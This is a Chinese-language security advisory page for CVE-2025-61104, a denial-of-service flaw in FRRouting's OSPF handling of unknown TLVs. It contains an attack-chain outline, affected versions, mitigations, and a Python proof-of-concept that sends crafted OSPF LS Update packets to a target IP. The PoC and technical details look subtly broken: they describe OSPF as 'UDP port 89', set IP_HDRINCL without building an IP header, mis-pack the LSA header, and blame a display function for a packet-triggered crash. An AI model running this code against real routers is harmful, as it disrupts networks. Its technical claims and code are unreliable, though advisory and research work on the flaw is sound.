IPBUF安全漏洞报告
English
CVE-2025-61104 CVSS 7.5 高危

CVE-2025-61104 FRRouting frr OSPF协议NULL指针解引用拒绝服务漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-61104
漏洞类型
NULL指针解引用
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
FRRouting/frr

相关标签

NULL指针解引用拒绝服务OSPF协议FRRoutingCVE-2025-61104高危网络协议栈漏洞路由协议frroutingospf_ext.c

漏洞概述

CVE-2025-61104是FRRouting/frr路由软件中的一个高危拒绝服务漏洞。该漏洞存在于OSPF路由协议实现中,攻击者可以通过发送精心构造的OSPF数据包来触发ospf_ext.c文件中的show_vty_unknown_tlv函数的NULL指针解引用,从而导致frrouting进程崩溃,影响网络路由功能的正常运行。FRRouting是一个广泛使用的开源路由协议栈,支持OSPF、BGP、RIP等多种路由协议,被许多企业和组织用于生产环境中的路由器和交换设备。该漏洞影响范围覆盖v4.0至v10.4.1版本,由于OSPF是内部网络中常用的动态路由协议,攻击者可能从网络内部发起攻击,无需认证即可利用此漏洞造成服务中断。成功利用此漏洞可导致路由协议服务不可用,影响网络的连通性和稳定性。

技术细节

该漏洞的根本原因在于FRRouting的OSPF实现中对未知TLV(Type-Length-Value)处理不当。在ospf_ext.c文件的show_vty_unknown_tlv函数中,当解析OSPF数据包中的扩展属性时,如果遇到未知的TLV类型,函数会尝试访问可能为NULL的指针,导致程序崩溃。攻击者可以构造包含特殊构造的TLV字段的OSPF数据包,当路由器处理这些数据包时,会触发show_vty_unknown_tlv函数中的NULL指针解引用。具体来说,攻击者需要在OSPF LSA(链路状态广告)的扩展属性中注入恶意的TLV数据,这些数据会导致函数在尝试解引用未初始化的指针时产生段错误(segmentation fault)。由于OSPF协议通常以UDP端口89进行通信,且许多实现对OSPF数据包的验证不够严格,攻击者可以轻松地从同一广播域或通过中间人攻击发送恶意数据包。

攻击链分析

STEP 1
步骤1
信息收集:攻击者识别目标网络中运行FRRouting/frr v4.0-v10.4.1版本的路由器
STEP 2
步骤2
构造攻击载荷:创建包含恶意未知TLV字段的OSPF数据包,触发show_vty_unknown_tlv函数的NULL指针解引用
STEP 3
步骤3
发送恶意数据包:通过OSPF协议端口(UDP 89)向目标路由器发送精心构造的OSPF LSA更新数据包
STEP 4
步骤4
触发漏洞:目标路由器的FRRouting进程处理恶意TLV时,尝试访问NULL指针导致程序崩溃
STEP 5
步骤5
造成拒绝服务:frrouting进程终止,OSPF路由协议失效,导致网络路由中断和连接丢失

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-61104 PoC - FRRouting OSPF NULL Pointer Dereference # This PoC triggers NULL pointer dereference in show_vty_unknown_tlv function # Usage: python3 cve_2025_61104_poc.py <target_ip> import socket import struct import sys def build_osfp_header(version, type_id, length, router_id, area_id): """Build OSPF packet header""" header = struct.pack('!BBH4s4s', version, # OSPF version (2 for OSPFv2) type_id, # Packet type (4 for LS Update) length, # Packet length router_id, # Source router ID area_id) # Area ID # Add authentication fields header += struct.pack('!Q', 0) # Auth type and auth data return header def build_lsa_header(ls_type, ls_id, adv_router, seq_num): """Build LSA header with malicious TLV""" age = 1 lsa_length = 60 # Minimal length with crafted TLV header = struct.pack('!HH4s4sIHH', age, lsa_length, ls_id, adv_router, seq_num, 0, # Checksum 0) # Length placeholder return header def build_malicious_tlv(): """Build crafted unknown TLV to trigger NULL dereference""" # Unknown TLV type that triggers show_vty_unknown_tlv tlv_type = 9999 tlv_length = 20 tlv_value = b'\x00' * tlv_length # NULL-inducing data tlv = struct.pack('!HH', tlv_type, tlv_length) + tlv_value return tlv def send_malicious_ospf_packet(target_ip): """Send crafted OSPF packet to trigger vulnerability""" sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, 89) # OSPF protocol sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # OSPF Multicast address for AllSPFRouters target_addr = (target_ip, 89) # Build packet components router_id = b'\xc0\xa8\x01\x01' # 192.168.1.1 area_id = b'\xc0\xa8\x01\x00' # 192.168.1.0 lsa_header = build_lsa_header(10, router_id, router_id, 0x80000001) malicious_tlv = build_malicious_tlv() lsa_body = lsa_header + malicious_tlv ospf_packet = build_osfp_header(2, 4, len(lsa_body) + 24, router_id, area_id) ospf_packet += lsa_body print(f"[*] Sending malicious OSPF packet to {target_ip}...") print(f"[*] Packet size: {len(ospf_packet)} bytes") print(f"[*] Malicious TLV type: 9999, length: 20") sock.sendto(ospf_packet, target_addr) print("[+] Packet sent successfully") print("[!] Target may crash if vulnerable version of FRRouting is running") sock.close() if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) send_malicious_ospf_packet(sys.argv[1])

影响范围

FRRouting/frr v4.0
FRRouting/frr v4.1
FRRouting/frr v4.2
FRRouting/frr v4.3
FRRouting/frr v4.4
FRRouting/frr v5.0
FRRouting/frr v6.0
FRRouting/frr v7.0
FRRouting/frr v7.5
FRRouting/frr v8.0
FRRouting/frr v9.0
FRRouting/frr v10.0
FRRouting/frr v10.1
FRRouting/frr v10.2
FRRouting/frr v10.3
FRRouting/frr v10.4
FRRouting/frr v10.4.1

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络边界设备上实施严格的访问控制列表(ACL),限制对OSPF端口(UDP 89)的访问,仅允许已知的路由器IP地址进行通信;2) 启用OSPF MD5或HMAC-SHA256认证,确保只有授权设备能够参与路由协议;3) 监控网络中的OSPF数据包,识别异常或格式不正确的数据包;4) 考虑在关键路由器上部署冗余,确保单点故障不会导致整个网络瘫痪;5) 联系FRRouting社区获取最新的安全建议和补丁信息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表